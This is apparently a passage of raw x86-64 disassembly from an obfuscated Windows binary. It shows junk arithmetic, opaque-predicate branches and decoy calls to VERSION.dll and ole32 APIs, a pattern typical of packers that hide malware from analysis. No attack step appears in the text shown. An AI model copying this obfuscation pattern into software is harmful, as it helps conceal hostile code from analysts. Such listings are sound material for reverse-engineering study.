mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x17830]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x12950]
mov r8, qword [rsp + 0x1810]
mov rdx, qword [rsp + 0x1bd58]
mov ecx, 0x86
call sub.VERSION.dll_VerInstallFileW
mov dword [rsp + 0x16e60], eax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
cmp dword [rsp + 0x12110], 0x5aa3
jb 0x140018fcd
mov rax, qword [rsp + 0xd7f0]
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
sar rax, cl
mov qword [rsp + 0x14080], rax
mov eax, dword [rsp + 0x6e88]
shl eax, 0x18
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x16e60]
xor eax, ecx
mov dword [rsp + 0x17460], eax
movzx edx, word [rsp + 0x3d10]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x112e0], ax
movzx eax, byte [rsp + 0xb681]
movzx ecx, byte [rsp + 0x8ac1]
sub eax, ecx
mov byte [rsp + 0xd6b9], al
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x540df7b25b91ed59
add rax, rcx
mov qword [rsp + 0xaf68], rax
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0xb9d8]
sub rax, rcx
mov qword [rsp + 0xd7f0], rax
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
and ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x16e60]
add eax, ecx
mov dword [rsp + 0x189b4], eax
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0x1be30], al
movzx edx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x1d4c0], al
movzx edx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x1be30], al
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [rsp + 0x6d38]
sub eax, ecx
mov word [0x14015d2c8], ax
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x3f80]
and ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x154d0]
add eax, 0x41af1ba8
mov dword [rsp + 0x6e88], eax
mov rcx, qword [0x1401601a8]
mov rax, qword [rsp + 0xd7f0]
add rax, rcx
mov qword [rsp + 0x14080], rax
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x309a7d9fe92a938b
sub rax, rcx
mov qword [rsp + 0xaf68], rax
movzx eax, byte [rsp + 0xd6b9]
movzx ecx, byte [rsp + 0x8ac1]
add eax, ecx
mov byte [rsp + 0xb681], al
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x1f1c8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
sub ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
add ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movzx ecx, word [0x14015d2cc]
movzx eax, word [rsp + 0x112e0]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x112e0], ax
mov eax, dword [rsp + 0x12110]
sub eax, 0x65
mov dword [rsp + 0x12110], eax
mov eax, dword [rsp + 0x16e60]
movzx ecx, al
mov eax, dword [rsp + 0x17460]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
mov eax, dword [rsp + 0x6e88]
xor eax, 0x4054d4b3
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x4c20]
movabs rcx, 0x49e27dd9784a77d5
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xaf68], rax
movabs rax, 0x493ad670ec5cceaf
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
and ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [0x14015d2cc]
add ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movabs rax, 0x3347e264a6d6b3d0
mov rcx, qword [rsp + 0xaf68]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movabs rax, 0x49ec7f8bc5a5de0e
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov eax, dword [rdx]
sub eax, ecx
mov dword [rsp + 0x189b4], eax
mov eax, dword [rsp + 0x154d0]
sub eax, 0x750b200d
mov dword [rsp + 0x6e88], eax
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
movzx edx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0x1d4c0]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0xd6b9], al
jmp 0x140018ad4
movsx edi, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
movzx ecx, al
shl edi, cl
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
or eax, ecx
cmp edi, eax
jle 0x1400190f6
lea r9, [rsp + 0xcfa0]
mov r8d, 0xca
mov edx, 0x7f
mov rcx, qword [rsp + 0x1bd58]
call sub.VERSION.dll_GetFileVersionInfoW
mov dword [rsp + 0x3e50], eax
mov rax, qword [rsp + 0x1228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1cd50]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x1be30], al
mov eax, dword [rsp + 0x6e88]
mov dword [rsp + 0x1fcec], eax
cmp dword [rsp + 0x1fcec], 0x58ceb529
je 0x140019079
cmp dword [rsp + 0x1fcec], 0x7c893308
je 0x1400190ca
jmp 0x1400190f6
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [0x14015d2cc]
and ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx eax, byte [rsp + 0x1be30]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [0x1401601a8]
movzx edx, byte [rsp + 0x1be30]
mov rcx, qword [rsp + 0xaf68]
call fcn.140011eb0
jmp 0x1400190f6
lea r9, [rsp + 0xd6b9]
lea r8, [rsp + 0x1be30]
mov rdx, qword [rsp + 0xe208]
lea rcx, [rsp + 0x2d10]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x1b058], eax
mov al, byte [rsp + 0xd6b9]
mov byte [rsp + 0x1fcf0], al
cmp byte [rsp + 0x1fcf0], 0xa
je 0x140019121
cmp byte [rsp + 0x1fcf0], 0xe6
je 0x1400191c5
jmp 0x140019222
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0x1fcf8], rax
movabs rax, 0x4efab5baf582ba8e
cmp qword [rsp + 0x1fcf8], rax
je 0x140019147
jmp 0x1400191a6
movabs rax, 0xcc1cb2b5521f8a1
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
movabs rcx, 0x40a3e0b4c3e4116a
add rax, rcx
mov qword [rsp + 0xaf68], rax
lea rdx, [rsp + 0x14028]
lea rcx, [rsp + 0xdf70]
call qword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [rsp + 0x1f36c], eax
jmp 0x1400191c3
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x17460]
and ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
jmp 0x140019222
lea rax, [rsp + 0x6e88]
mov qword [rsp + 0x12028], rax
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0x1cde0], rax
mov rax, qword [rsp + 0x104a0]
movzx edx, word [rax]
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x112e0], ax
mov dword [rsp + 0x8f8c], 0x782b
lea rax, [rsp + 0x1be30]
mov qword [rsp + 0x19658], rax
movzx eax, word [rsp + 0x6d38]
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0xd7f0]
mov qword [rsp + 0x1fd00], rax
movabs rax, 0x131837c58f92ce1c
cmp qword [rsp + 0x1fd00], rax
je 0x14001925b
jmp 0x140019348
call qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
mov dword [rsp + 0x14294], eax
mov rax, qword [rsp + 0x19658]
mov al, byte [rax]
mov byte [rsp + 0x1fd08], al
cmp byte [rsp + 0x1fd08], 0x2e
je 0x140019288
jmp 0x140019319
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x189b4]
shr eax, cl
mov dword [rsp + 0x3f80], eax
mov rcx, qword [rsp + 0x12028]
mov eax, dword [rsp + 0x154d0]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19658]
movzx eax, byte [rax]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0xb9d8]
mov r8, qword [rsp + 0xd7f0]
movzx edx, byte [rsp + 0x1be30]
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
call fcn.140011eb0
jmp 0x140019343
lea r9, [rsp + 0xd940]
lea r8, [rsp + 0x4390]
mov edx, 0xc9
lea rcx, [rsp + 0x4988]
call qword [sym.imp.ole32.dll_BindMoniker]
mov dword [rsp + 0x17450], eax
jmp 0x140148851
lea rax, [rsp + 0xfd20]
mov qword [rsp + 0x19e88], rax
mov dword [rsp + 0x16630], 0xe4e5
mov rax, qword [rsp + 0xd7f0]
movzx ecx, al
mov rdx, qword [rsp + 0x14080]
shl rdx, cl
mov rcx, qword [rsp + 0x1cde0]
mov rax, qword [rsp + 0xb9d8]
or rax, rcx
cmp rdx, rax
jne 0x140019479
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov qword [rsp + 0x1fd10], rax
movabs rax, 0x5dcb7374062778ec
cmp qword [rsp + 0x1fd10], rax
je 0x1400193d5
movabs rax, 0x5e49a7cbfd74494c
cmp qword [rsp + 0x1fd10], rax
je 0x14001944f
jmp 0x140019469
lea rax, [rsp + 0xb681]
mov qword [rsp + 0x18cc0], rax
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3d10]
and eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0xc140], al
lea rax, [rsp + 0x3860]
mov qword [rsp + 0x100f8], rax
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rsp + 0x3f80]
add ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
jmp 0x140019469
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154d0]
add eax, ecx
mov dword [rsp + 0x6e88], eax
mov dword [rsp + 0x1cfb8], 0xc098
jmp 0x140019556
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
mov dword [rsp + 0x1fd18], eax
cmp dword [rsp + 0x1fd18], 0x7faad756
je 0x14001949c
jmp 0x140019539
movsx ecx, word [rsp + 0x3860]
movsx eax, word [rsp + 0x6d38]
sub ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
mov edx, 0x95
mov ecx, 0xdd
call qword [sym.imp.ole32.dll_CoCancelCall]
mov dword [rsp + 0x14294], eax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
lea r9, [rsp + 0xc140]
lea r8, [rsp + 0x1228]
mov edx, 0x8f
mov rcx, qword [rsp + 0x12168]
call qword [sym.imp.ole32.dll_IsAccelerator]
mov dword [rsp + 0xa284], eax
mov rax, qword [rsp + 0x18cc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8ac1]
add eax, ecx
mov byte [rsp + 0x1d4c0], al
jmp 0x140019556
movzx ecx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov dword [rsp + 0x5248], 0x7588
cmp dword [rsp + 0x5248], 0x4408
jb 0x140019a3c
movzx eax, word [rsp + 0x112e0]
movzx ecx, word [rsp + 0x1cd58]
sub eax, ecx
mov word [0x14015d2cc], ax
movzx ecx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0x8ac1]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
movzx eax, word [rsp + 0x3d10]
or ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov ecx, dword [rsp + 0x6e88]
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x1ef10]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x12a38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x17460], eax
movsx ecx, word [rsp + 0xfd20]
movsx eax, word [0x14015d2c8]
xor ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
movabs rax, 0xbd054255dce681f4
mov rcx, qword [rsp + 0xaf68]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x1cd50]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x8ac1]
movzx eax, byte [rsp + 0xb681]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x1be30], al
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0xfd20], ax
mov eax, dword [rsp + 0x5248]
sub eax, 0xb0
mov dword [rsp + 0x5248], eax
mov rax, qword [rsp + 0x4c20]
movabs rcx, 0x2a75dbc25282c2b5
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xaf68], rax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
add eax, dword [rsp + 0x6e88]
mov dword [rsp + 0x154d0], eax
movabs rax, 0x2ce054db66dbc046
mov rcx, qword [rsp + 0xaf68]
add rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x21b8]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x12a38]
add ecx, dword [rax]
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
movsx eax, word [0x14015d2c8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x100f8]
mov word [rax], cx
movzx ecx, byte [rsp + 0xb681]
movzx eax, byte [rsp + 0x1d4c0]
xor ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [rsp + 0x19658]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0xc140]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x3860]
or ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
and ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xaf68]
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
mov rcx, qword [rsp + 0x1ef10]
mov eax, dword [rsp + 0x189b4]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movzx ecx, byte [rsp + 0xb681]
movzx eax, byte [rsp + 0x8ac1]
sub ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx ecx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x19658]
movsx eax, byte [rax]
add ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [rsp + 0x6d38]
and eax, ecx
mov word [0x14015d2c8], ax
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movsx edx, byte [rsp + 0xc140]
mov rax, qword [rsp + 0x1cd50]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [rsp + 0x1be30], al
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [0x1401601a8]
or rax, rcx
mov qword [rsp + 0x1cde0], rax
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rsp + 0x154d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6e88], eax
mov ecx, dword [rsp + 0x16e60]
mov rax, qword [rsp + 0x1ef10]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x12a38]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0x8ac1]
and ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movsx edx, word [rsp + 0xfd20]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x3860], ax
mov rax, qword [rsp + 0xddc8]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x104a0]
movzx ecx, word [rax]
movzx eax, word [rsp + 0x3d10]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx edx, byte [rsp + 0xd6b9]
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x8ac1], al
mov ecx, dword [rsp + 0x3f80]
mov eax, dword [rsp + 0x189b4]
add eax, ecx
mov dword [rsp + 0x17460], eax
jmp 0x140019561
lea rax, [rsp + 0x14080]
mov qword [rsp + 0x5618], rax
mov rax, qword [rsp + 0xaf68]
mov qword [rsp + 0x142e8], rax
cmp dword [rsp + 0x4b0], 0xe0e4
jb 0x140019d47
mov eax, dword [rsp + 0x4b0]
sub eax, 0xd3
mov dword [rsp + 0x4b0], eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
add eax, dword [rsp + 0x6e88]
mov dword [rsp + 0x154d0], eax
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x19e88]
mov word [rax], cx
movsx edx, word [rsp + 0x3860]
mov rax, qword [rsp + 0x19e88]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0x6d38], ax
movzx ecx, byte [rsp + 0xb681]
movzx eax, byte [rsp + 0x8ac1]
or ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0xddc8]
movzx eax, word [rax]
xor ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov rax, qword [rsp + 0x1cd50]
movsx edx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov eax, dword [rsp + 0x189b4]
mov dword [rsp + 0x16e60], eax
mov rax, qword [rsp + 0x12028]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x154d0]
sar eax, cl
mov dword [rsp + 0x6e88], eax
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd7f0]
sub rax, rcx
mov qword [rsp + 0xb9d8], rax
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0x142e8]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movsx eax, word [rsp + 0xfd20]
movsx ecx, word [0x14015d2c8]
and eax, ecx
mov word [rsp + 0x6d38], ax
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x112e0]
sub ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
movsx ecx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x14015d2c8], ax
movsx ecx, byte [rsp + 0xc140]
movsx eax, byte [rsp + 0x1be30]
sub ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x1d4c0]
movzx eax, byte [rsp + 0x8ac1]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rcx, qword [rsp + 0x5618]
mov rcx, qword [rcx]
add rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
add ecx, dword [rsp + 0x154d0]
mov rax, qword [rsp + 0x12028]
mov dword [rax], ecx
mov rax, qword [rsp + 0x4c20]
mov rcx, qword [rsp + 0xaf68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x142e8], rax
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
shr eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd20]
or eax, ecx
mov word [rsp + 0x6d38], ax
movzx edx, word [rsp + 0x112e0]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x3d10], ax
mov rcx, qword [rsp + 0x14080]
mov rax, qword [rsp + 0x1cde0]
xor rax, rcx
mov qword [0x1401601a8], rax
mov rax, qword [rsp + 0x19e88]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100f8]
movsx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [rsp + 0xfd20], ax
jmp 0x140019a5c
lea rax, [rsp + 0x1cd58]
mov qword [rsp + 0x1650], rax
mov rdx, qword [rsp + 0x5618]
mov rdx, qword [rdx]
add rdx, qword [rsp + 0x14080]
mov rcx, qword [rsp + 0xb9d8]
mov rax, qword [rsp + 0x1cde0]
sub rax, rcx
cmp rdx, rax
jl 0x140148748
mov rax, qword [rsp + 0x4c20]
mov rax, qword [rax]
mov qword [rsp + 0x1bea8], rax
lea rax, [rsp + 0xc140]
mov qword [rsp + 0x98d8], rax
mov rax, qword [rsp + 0x19e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3860]
add eax, ecx
mov word [rsp + 0xfd20], ax
mov rax, qword [rsp + 0x18cc0]
movzx ecx, byte [rax]
movzx eax, byte [rsp + 0xd6b9]
add ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
movzx ecx, word [rsp + 0x3d10]
movzx eax, word [0x14015d2cc]
xor ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
movzx edx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0xb681]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x18cc0]
mov byte [rax], cl
mov rax, qword [0x1401601a8]
movzx ecx, al
mov rax, qword [rsp + 0x1cde0]
shl rax, cl
mov rcx, rax
mov rax, qword [rsp + 0x5618]
mov qword [rax], rcx
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rsp + 0x142e8]
or rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
mov rdx, qword [rsp + 0x21b8]
mov rax, qword [rsp + 0x12a38]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0x3f80], eax
mov rax, qword [rsp + 0x12028]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x154d0]
add eax, ecx
mov dword [rsp + 0x6e88], eax
mov rax, qword [rsp + 0x100f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfd20]
sub eax, ecx
mov word [rsp + 0x6d38], ax
movzx ecx, word [rsp + 0x1cd58]
mov rax, qword [rsp + 0x1650]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0xddc8]
mov word [rax], cx
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x1be30]
add ecx, eax
mov rax, qword [rsp + 0x19658]
mov byte [rax], cl
movzx ecx, byte [rsp + 0xd6b9]
movzx eax, byte [rsp + 0x1d4c0]
and ecx, eax
mov rax, qword [rsp + 0x18cc0]
